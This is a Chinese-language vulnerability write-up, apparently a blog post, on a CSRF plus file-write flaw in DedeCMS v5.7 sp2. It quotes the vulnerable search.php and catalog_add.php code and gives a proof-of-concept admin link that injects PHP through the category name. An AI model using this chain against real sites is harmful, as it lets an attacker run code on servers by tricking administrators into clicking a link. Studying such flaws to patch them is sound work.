DeDecms v5.7 sp2 CRSF+文件操作 前台getshell

在plus/search.php中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
if(empty($typeid))
{
$typenameCacheFile = DEDEDATA.'/cache/typename.inc';
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
{
$fp = fopen(DEDEDATA.'/cache/typename.inc', 'w');
fwrite($fp, "<"."?php\r\n");
$dsql->SetQuery("Select id,typename,channeltype From `#@__arctype`");
$dsql->Execute();
while($row = $dsql->GetArray())
{
fwrite($fp, "\$typeArr[{$row['id']}] = '{$row['typename']}';\r\n"); //存在漏洞
}
fwrite($fp, '?'.'>');
fclose($fp);
}
//引入栏目缓存并看关键字是否有相关栏目内容
require_once($typenameCacheFile);
if(isset($typeArr) && is_array($typeArr))
{
foreach($typeArr as $id=>$typename)
{
//$keywordn = str_replace($typename, ' ', $keyword);
$keywordn = $keyword;
if($keyword != $keywordn)
{
$keyword = HtmlReplace($keywordn);
$typeid = intval($id);
break;
}
}
}
}

该段代码会将数据库中读取的栏目信息写入typename.inc文件中,然后require_once()包含该文件,写文件的代码如下:

1
fwrite($fp, "\$typeArr[{$row['id']}] = '{$row['typename']}';\r\n");

$row[‘typename’]是可控参数,如果值是 1’;phpinfo();// 这样的形式,写入的字符串为:$typeArr[2] = ‘1’;phpinfo();//‘;
从而require_once()包含该文件后就会执行phpinfo()
通过查找,dede/catalog_add.php中可以控制该参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
else if($dopost=='save')
{
$smalltypes = '';
if(empty($smalltype)) $smalltype = '';
if(is_array($smalltype)) $smalltypes = join(',',$smalltype);

if(!isset($sitepath)) $sitepath = '';
if($topid==0 && $reid>0) $topid = $reid;
if($ispart!=0) $cross = 0;

$description = Html2Text($description,1);
$keywords = Html2Text($keywords,1);

if($ispart != 2 )
{
//栏目的参照目录
if($referpath=='cmspath') $nextdir = '{cmspath}';
if($referpath=='basepath') $nextdir = '';
//用拼音命名
if($upinyin==1 || $typedir=='')
{
$typedir = GetPinyin(stripslashes($typename));
}
$typedir = $nextdir.'/'.$typedir;
$typedir = preg_replace("#\/{1,}#", "/", $typedir);
}

//开启多站点时的设置(仅针对顶级栏目)
if($reid==0 && $moresite==1)
{
$sitepath = $typedir;

//检测二级网址
if($siteurl!='')
{
$siteurl = preg_replace("#\/$#", "", $siteurl);
if(!preg_match("#http:\/\/#i", $siteurl))
{
ShowMsg("你绑定的二级域名无效,请用(http://host)的形式!","-1");
exit();
}
if(preg_match("#".$cfg_basehost."#i", $siteurl))
{
ShowMsg("你绑定的二级域名与当前站点是同一个域,不需要绑定!","-1");
exit();
}
}
}

//创建目录
if($ispart != 2)
{
$true_typedir = str_replace("{cmspath}", $cfg_cmspath, $typedir);
$true_typedir = preg_replace("#\/{1,}#", "/", $true_typedir);
if(!CreateDir($true_typedir))
{
ShowMsg("创建目录 {$true_typedir} 失败,请检查你的路径是否存在问题!","-1");
exit();
}
}

$in_query = "INSERT INTO `#@__arctype`(reid,topid,sortrank,typename,typedir,isdefault,defaultname,issend,channeltype,
tempindex,templist,temparticle,modname,namerule,namerule2,
ispart,corank,description,keywords,seotitle,moresite,siteurl,sitepath,ishidden,`cross`,`crossid`,`content`,`smalltypes`)
VALUES('$reid','$topid','$sortrank','$typename','$typedir','$isdefault','$defaultname','$issend','$channeltype',
'$tempindex','$templist','$temparticle','default','$namerule','$namerule2',
'$ispart','$corank','$description','$keywords','$seotitle','$moresite','$siteurl','$sitepath','$ishidden','$cross','$crossid','$content','$smalltypes')";

if(!$dsql->ExecuteNoneQuery($in_query))
{
ShowMsg("保存目录数据时失败,请检查你的输入资料是否存在问题!","-1");
exit();
}
UpDateCatCache();
if($reid>0)
{
PutCookie('lastCid',GetTopid($reid),3600*24,'/');
}
ShowMsg("成功创建一个分类!","catalog_main.php");
exit();

}//End dopost==save

该段代码可以添加一个栏目信息,并且没有任何针对CSRF的防御措施,因此可以在管理员条件下访问:

1
http://127.0.0.1/dedecms/dede/catalog_add.php?dopost=save&typename=';phpinfo();//

或者诱骗管理员点击该链接,即可在数据表中添加存在恶意代码的字段
前台访问http://127.0.0.1/dedecms/plus/search.php 即可将恶意代码写入typename.inc中,然后require_once()包含该文件并执行恶意代码

poc

构造链接:

1
http://127.0.0.1/dedecms/dede/catalog_add.php?dopost=save&typename=';phpinfo();//

在管理员条件下访问或者诱骗管理员点击该链接,然后访问前台访问http://127.0.0.1/dedecms/plus/search.php
成功执行恶意代码:

可以查看typename.inc中确实写入了恶意代码: